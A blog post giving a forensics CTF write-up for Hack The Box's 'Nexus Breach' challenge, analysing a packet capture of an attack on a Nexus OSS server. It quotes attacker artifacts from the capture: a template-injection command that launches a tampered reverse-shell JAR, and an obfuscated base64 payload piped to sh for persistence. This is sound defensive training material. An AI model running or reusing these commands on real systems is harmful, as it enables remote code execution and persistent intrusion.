18. 06. 2025 Luca Zeni Blue Team, ctf-writeups

Hack The Box Business CTF 2025 – Nexus Breach Journey

Stepping Deeper into the CTF World

It seems that this year, I’m a step further into the world of Capture The Flag (CTF) competitions, not sure why but I don’t regret it. We’re only halfway through the year, and I’ve already participated in three events. Not a huge amount but a noticeable jump considering that in previous years, I averaged just one CTF annually (and not every year).

I wouldn’t call myself a hardcore CTF player. I’m more of a casual enjoyer who try to solve challenges with colleagues and friends when time allows. For me, CTFs are a great way to explore new techniques, reinforce existing knowledge, and have fun along the way.

In today’s article, I want to share my experience with the Hack The Box Business CTF 2025, which took place from May 23rd to 27th. One challenge in particular caught my attention, and I’ll be diving into that shortly.

But first, a quick step back: the Business CTF is an annual competition organized by Hack The Box, reserved for companies around the globe. It’s not our first time participating, and this year, we at Würth Phoenix managed to achieve 2nd place in Italy and 38th globally, capturing 81 out of 103 flags. Not bad at all, so GGWP to all my colleagues and teammates for the awesome result we pulled off together.

The Challenge: The Nexus Breach

The challenge I want to focus on is called “The Nexus Breach”, a medium-difficulty Forensics task worth 750 points. The only file provided was a single PCAP, containing network traffic against a Nexus OSS instance.

Rather than just throwing random packets at you, the challenge framed the investigation like a real incident response case. You were tasked with analyzing the network traffic, identifying the intrusion techniques used, and reconstructing the attack timeline. In total, there were 10 flags to recover, each requiring a deeper understanding of how the attackers moved through the system and what artifacts they left behind.

For those interested in diving deeper, the official write-up by the challenge author provides valuable insights into the intended solve path and some techniques behind the scenes.

Journey into the Challenge

1. Which credentials have been used to login on the platform?

My first thought was to isolate the successful HTTP traffic, so I applied a simple Wireshark filter:

http.response.code == 200

Only two entries popped up, I picked the first one, followed the HTTP stream, and quickly spotted a Basic Authentication header in the request and after decoding the base64 string, I retrieved the credentials used to log in.

2. Which Nexus OSS version is in use?

This one didn’t require much effort either. After identifying the login request I checked the corresponding HTTP response for any useful metadata and in the response headers, the Server field has exactly what I was looking for.

3. The attacker created a new user for persistence. Which credentials has been set?

This time, I slightly changed my approach and searched for any HTTP requests that contained the keyword “password”, hoping to catch user creation or credential-related operations.

http contains "password"

Only one POST request matched. I followed its HTTP stream and quickly found a JSON payload showing the creation of a new user.

{"data": {"userId": "adm1n1str4t0r", "firstName": "Persistent", "lastName": "Admin", "email": "adm1n1str4t0r@phoenix.htb", "status": "active", "roles": ["nx-admin"], "password": "46vaGuj566"}}

4. One core library written in Java has been tampered and replaced by a malicious one. Which is its package name?

Here’s where things started to get tricky but I knew I was looking in the right direction. Infact while reviewing the first HTTP stream again, I noticed a PUT request to the following path:

/nexus/service/local/repositories/snapshots/content/com/phoenix/toolkit/1.0/PhoenixCyberToolkit-1.0.jar

It immediately caught my attention. A .jar file being uploaded to a repository? Definitely what I was looking for. Digging into the packet contents, I tried to make sense of the raw data. A few readable strings stood out, including references to a MANIFEST.MF file and what looked like a package or class path. I tried to submit the “package name” I found in the stream and it turned out to be the correct flag. A bit of luck was involved, I know…

5. The tampered library contains encrypted communication logic. What is the secret key used for session encryption?

At this point, I realized that just looking to raw HTTP streams wasn’t going to help anymore. I needed to extract and decompile the .jar file that had been uploaded.
First problem: how do I get that file out of the PCAP? It might sound silly, but initially I had no idea. I went down a bit of a rabbit hole, tried converting hex dumps manually, wrote some half-working Python scripts, threw stuff into CyberChef, and basically struggled while trying to rebuild the JAR file from scratch. Then, I remembered something crucial: Wireshark is smarter than it looks. File > Export Object > HTTP et voilà the JAR file, ready to be saved locally. A bit of a facepalm moment, but hey, lesson learned.
Second problem: how do I decompile the JAR file? Luckily, this step was a bit easier. I had done something similar in the past, so I dusted off Jadx, opened the JAR, and finally had access to the source code. Now I could read the whole package, or at least try to do that because the code was obfuscated, which led to problem number three: making sense of it. I spent some time digging through it, trying to understand the flow, but I realized I wasn’t going to far on my own. So, I asked ChatGPT to write a snippet of code that could extract or decode the key. Maybe not the most “honorable” choice, but it saved a ton of time and, more importantly, my sanity.

6. Which is the name of the function that manages the (AES) string decryption process?

Luckily, earlier effort to make sense of the obfuscated code paid off. I remembered spotting something related to decryption or decoding while browsing through the source. So, I hit CTRL + F, and searched for keywords like decrypt and decode. Sure enough, that led me straight to the function I was looking for, and that was it.

7. Which is the system command that triggered the reverse shell execution for this session running the tampered JAR?

Time to jump back into the HTTP stream using Wireshark. As I continued following the traffic, a list of commands embedded in the payload of a PUT request caught my attention. Among these commands, one was clearly the flag:

#set($proc=$runtime.exec("java -jar /sonatype-work/storage/snapshots/com/phoenix/toolkit/1.0/PhoenixCyberToolkit-1.0.jar &"))

8. Which is the first executed command in the encrypted reverse shell session?

At this point, I was stuck again. I had no idea where to look. The JAR file didn’t contain anything helpful, and the HTTP stream I was following reached the end. After a while I remembered that the PCAP file had not only one stream. I immediately switched over to the second TCP stream, which I had ignored earlier. It turned out to contain only encrypted traffic, not the thing I wanted to discover, but a new starting point. I copied the first line, pasted it into CyberChef hoping for a hint but nothing.

After a few minutes of head scratching, I realized I already had the decryption function and the key from the tampered JAR. Why not use them? So once again, I asked ChatGPT for a quick script that could decrypt a file’s contents using the AES function and key I had previously recovered. The script “worked” on the first try and the entire encrypted session was unlocked.

9. Which other legit user has admin permissions on the Nexus instance (excluding “adm1n1str4t0r” and “admin”)?

Searching into the decrypted session output, I found a cat command that listed some configuration data including a list of several users and their roles. To find this flag, all I had to do was search for “role:admin” and on the third hit I found the flag.

10. The attacker wrote something in a specific file to maintain persistence, which is the full path?

Still reading through the decrypted session output, I reached the end of the stream and noticed the following echo command:

echo "Z0g0PSJFZCI7a00wPSJ4U3oiO2M9ImNoIjtMPSI0IjtyUVc9IiI7ZkUxPSJsUSI7cz0iICc9b2djbFJYWWtCWGR0Z1hhdVYyYm9Cbkx2VTJaaEozYjBOM0xySjNiMzFTWndsSGRoNTJiejlDSTR0Q0lrOVdib05HSW1ZQ0l5VkdkaFJHYzExQ2VwNVdadmhHY3U4U1puRm1jdlIzY3ZzbWN2ZFhMbEJYZTBGbWJ2TjNMZzRESWlFakorQURJMFFETjA4eU15NENNeDRDTXg0Q014OENjalIzTDJWR1p2QWlKK0FTYXRBQ2F6Rm1ZaUF5Ym9OV1oKJyB8IHIiO0h4Sj0icyI7SGMyPSIiO2Y9ImFzIjtrY0U9InBhcyI7Y0VmPSJhZSI7ZD0ibyI7Vjl6PSI2IjtQOGM9ImlmIjtVPSIgLWQiO0pjPSJlZiI7TjBxPSIiO3Y9ImIiO3c9ImUiO2I9InYgfCI7VHg9IkVkcyI7eFpwPSIiCng9JChldmFsICIkSGMyJHckYyRyUVckZCRzJHckYiRIYzIkdiR4WnAkZiR3JFY5eiRyUVckTCRVJHhacCIpCmV2YWwgIiROMHEkeCRIYzIkclFXIgo=" | base64 --decode | sh

The command threw an error when executed, but despite that, it still revealed the full path of the target file.

Final though

This challenge was a great mix of frustration, learning, and small victories,exactly what I look for in a CTF experience.

Going through it reminded me how much these events can teach when you really lean into the process. From analyzing raw PCAP data, to decrypting traffic, reverse engineering obfuscated code, and eventually scripting custom tools, every flag felt like a small win that pushed me just a bit further.

I also appreciated how realistic this scenario was: the persistence mechanism, the reverse shell, the tampered JAR, really looked like of a plausible attack chain. It wasn’t just about finding flags but it was about understanding how an attacker would operate and analyzing those actions from a defender’s perspective.

Would I have solved it all on my own without help? Probably not. But that’s the point: collaborating, researching, experimenting, even asking AI tools for a hand, it’s all part of the real word process.

Luca Zeni

Luca Zeni

Author

Luca Zeni

Leave a Reply

Your email address will not be published. Required fields are marked *

Archive